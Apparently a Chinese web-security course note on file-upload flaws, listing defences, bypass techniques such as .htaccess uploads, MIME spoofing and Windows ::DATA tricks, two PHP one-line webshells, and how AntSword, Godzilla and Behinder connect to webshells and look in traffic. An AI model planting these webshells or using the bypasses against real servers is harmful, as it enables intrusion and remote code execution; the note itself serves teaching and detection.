一、文件上传防御手段及绕过手段总结
(一)、防御手段
文件类型检查:
扩展名检查:限制上传文件的扩展名,只允许特定的类型文件上传
MIME类型检查:检查文件的MIME类型,确保其与扩展名一致,防止通过修改扩展名绕过检查。
文件内容检查:
分析文件的实际内容,确保文件符合预期格式。例如,检查图像文件的头部信息是否合法。
使用防病毒软件或恶意软件扫描工具检测文件中是否包含恶意代码。
文件大小限制:
设置合理的文件大小上限,防止大文件上传导致的服务器资源耗尽。
文件存储安全:
将上传的文件存储在与应用程序代码分开的路径中,减少直接访问的风险。
避免使用用户提供的文件名,生成唯一的文件名以防止目录遍历攻击。
文件权限管理:
确保上传的文件没有执行权限,避免被直接执行的风险。
客户端与服务器端双重校验:
在客户端和服务器端都进行校验,确保上传文件符合预期的格式和安全标准。
隔离环境:
将文件上传和处理过程放在隔离的沙箱环境中,限制对系统的影响。
日志记录与审计:
记录文件上传的详细日志,以便在发生安全事件时进行审计和追踪。
白名单机制:
只允许从预先确定的可信来源上传文件,限制可上传的文件范围。
实时监测:
对上传文件的行为进行实时监测,一旦发现异常行为,立即阻止。
(二)、绕过手段
前端绕过:
删除或禁用前端校验函数,直接通过修改数据包上传恶意文件。
黑名单绕过:
等价扩展名绕过:使用与黑名单中扩展名等价的扩展名上传文件。
上传.htaccess文件:利用.htaccess文件将不允许的扩展名文件当作可执行文件处理。
双写绕过:利用某些函数只替换一次的特性,通过双写扩展名绕过检查。
白名单绕过:
MIME类型绕过:修改数据包的MIME类型字段,使其看起来像是允许上传的文件类型。
文件包含漏洞利用:
如果服务器存在文件包含漏洞,攻击者可以上传一个合法的文件,但通过构造特定的请求,利用文件包含漏洞来执行恶意代码。
分段上传:
将恶意内容分割成多个小段,每个部分看起来都是合法的,从而逃避检测。
Windows专用特性:
大小写绕过(仅Windows):修改文件扩展名为大写形式绕过检查。
空格绕过(仅Windows):在文件扩展名后加空格绕过检查。
点号绕过(仅Windows):在文件扩展名后加点绕过检查。
::DATA绕过(仅Windows):在文件扩展名后加::DATA绕过检查。
二、文件上传常用一句话木马
<?php @eval($_POST[111]);?>
<?php assert($_POST[111]);?>
三、课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
蚁剑
确定目标
设置代理
burp流量分析
request中发送的数据包的形式总是pass=xxx(pass是木马中的密码),对xxx内容解码可以看见蚁剑的后台操作
哥斯拉
生成木马到指定文件
木马内容
确定目标,设置代理
burp流量分析
request中数据形式也是pass=xxx,xxx是加密内容,实际是操作内容
冰蝎
设置代理
在冰蝎的文件目录中的server文件中可以找到冰蝎自带的木马文件
确定目标
在主页双击目标
burp流量分析
冰蝎有固定的请求的开头和响应开头
四、文件上传无回显如何查找webshell地址
字典爆破:文件上传后可能会直接以文件名的形式放在特定的upload目录中,可以使用字典对这些文件所在路径进行爆破。
使用抓包工具:分析上传请求和响应,寻找的文件路径或其他信息
Webshell查杀工具:使用Webshell查杀工具进行扫描,可以识别并报告潜在的WebShell文件。
五、文件上传表单的无参/ 有参情况下构造表单
文件上传表单的无参情况下构造表单
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件:</label>
<input type="file" id="file" name="fileToUpload">
<br><br>
<input type="submit" value="上传文件" name="submit">
</form>
文件上传表单的有参情况下构造表单
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required><br><br>
<label for="fileDescription">文件描述:</label>
<input type="text" id="fileDescription" name="fileDescription"><br><br>
<label for="file">选择文件:</label>
<input type="file" id="file" name="fileToUpload" required><br><br>
<input type="submit" value="上传文件" name="submit">
</form>